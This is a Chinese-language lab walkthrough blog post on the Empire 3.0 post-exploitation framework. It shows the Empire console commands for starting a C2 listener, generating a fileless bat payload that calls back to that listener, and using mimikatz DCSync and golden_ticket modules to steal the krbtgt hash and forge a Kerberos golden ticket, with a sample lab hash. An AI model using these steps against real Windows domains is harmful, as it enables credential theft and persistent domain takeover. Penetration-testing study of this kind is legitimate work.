WEB渗透与网络安全渗透测试渗透

渗透测试神器Empire3.0初探

2019-12-26  本文已影响0人  半夜菊花茶

经历漫长的等待后,后渗透测试神器 Empire 终于迎来了多项重大功能升级的 3.0 版本(https://github.com/BC-SECURITY/Empire/)。

Empire 是一款类似 Metasploit 的 PowerShell 可视化后期渗透测试框架,建立在密码安全通信和灵活的架构上。Empire 实现了无需 powershell.exe 就可运行 PowerShell 代理的功能,可快速部署后期漏洞利用模块,从键盘记录器到 Mimikatz,并且能够适应通信躲避网络检测,所有的这些功能都封装在一个以实用性为重点的框架中

具体更新内容见[链接](https://www.aqniu.com/industry/60507.html
,其中最令人激动的是mimikatz 2.2.0 也被集成到其中,让mimikatz在windows 10上运行成为可能,接下来我们通过实验验证一下使用Empire在windows域环境下获取黄金票据的过程

0x01 环境准备

0x02 Empire部署

git clone https://github.com/BC-SECURITY/Empire.git
cd Empire
sudo ./setup/install.sh
docker run -it --rm  --network=host bcsecurity/empire

这里我们直接把宿主机的网络映射给容器

启动

0x03 启动监听

接下来要启动一个监听端口,用来接收C2连接


start listener.png
  1. 执行 listeners查看监听,当前没有活跃的监听
  2. 执行 uselistener http准备开启一个http的监听端口
  3. 执行info命令可以查看模块的参数列表,这里我们需要设置端口
  4. 执行set Port 9090配置监听9090端口
  5. 执行execute
    list listeners.png

0x04 投递Playload

我们需要制作一个payload并投递到受害者的机器上,目标机器运行payload会主动连接到我们的C2监听端口。Empire的usestager命令可以生成对应平台的payload,输入usestager空格然后敲两下tab键可以带出所有支撑的脚本类型,这里我们生成一个windows bat格式的payload,如下图

usestager.png
执行完execute会看到目标脚本的保存位置,payload是一个加密的bat的脚本,只有在执行的时候会将解密的内容写入内存,也属于一种无文件的payload。
launcher script

将生成的payload文件投递到目标主机,为了简化后面的步骤我们直接在目标windows10靶机上用管理员账号登录运行该脚本,而实战过程中就要各显神通了。。。

connecting.png
目标主机执行bat脚本以后,C2服务器会有相应的提示,执行agents可以查看session信息

0x05 爆破

进入session
因为前面已经假设说我们执行payload的账号有管理员权限,所以这里就直接冲着DCSync去了,执行interact命令并且输入前面的session名,开启交互模式,rename可以修改session名

interact

获取sid
执行以下命令调查询sid

(Empire: test) > usemodule management/user_to_sid
(Empire: powershell/management/user_to_sid) > set Domain cnb
(Empire: powershell/management/user_to_sid) > set User krbtgt
(Empire: powershell/management/user_to_sid) > execute
sid

使用usemodule加载模块以后,可以使用info命令查看参数列表

获取krbtgt
执行以下命令获取krbtgt

(Empire: N5H34DLF) > usemodule credentials/mimikatz/dcsync
(Empire: powershell/credentials/mimikatz/dcsync) > set user cnb\krbtgt
(Empire: powershell/credentials/mimikatz/dcsync) > set domain cnb.xx.com
(Empire: powershell/credentials/mimikatz/dcsync) > execute
dcsync.png

获取golden ticket
从上面的结果可以看到krbtgt的信息包括sid和ntlm,根据上述信息可调用golden_ticket模块可以组装黄金票据

(Empire: N5H34DLF) > usemodule credentials/mimikatz/golden_ticket
(Empire: powershell/credentials/mimikatz/golden_ticket) > set user admin
(Empire: powershell/credentials/mimikatz/golden_ticket) > set sids S-1-5-21-1045149118-3891864444-2112197780
(Empire: powershell/credentials/mimikatz/golden_ticket) > set krbtgt cfabde9c8ee99d865fbab6028ed6bbe8
(Empire: powershell/credentials/mimikatz/golden_ticket) > execute
image.png

可以看到黄金票据已经构建出来了。

Empire 本身是一个非常强大的渗透测试框架,里面集成的模块还有很多,具体可以查看官方的说明文档。另外,在测试过程中,笔者也发现,似乎这里的C2连接也不是很稳定,经常出现执行一个模块导致连接直接断掉。。

上一篇下一篇

猜你喜欢

热点阅读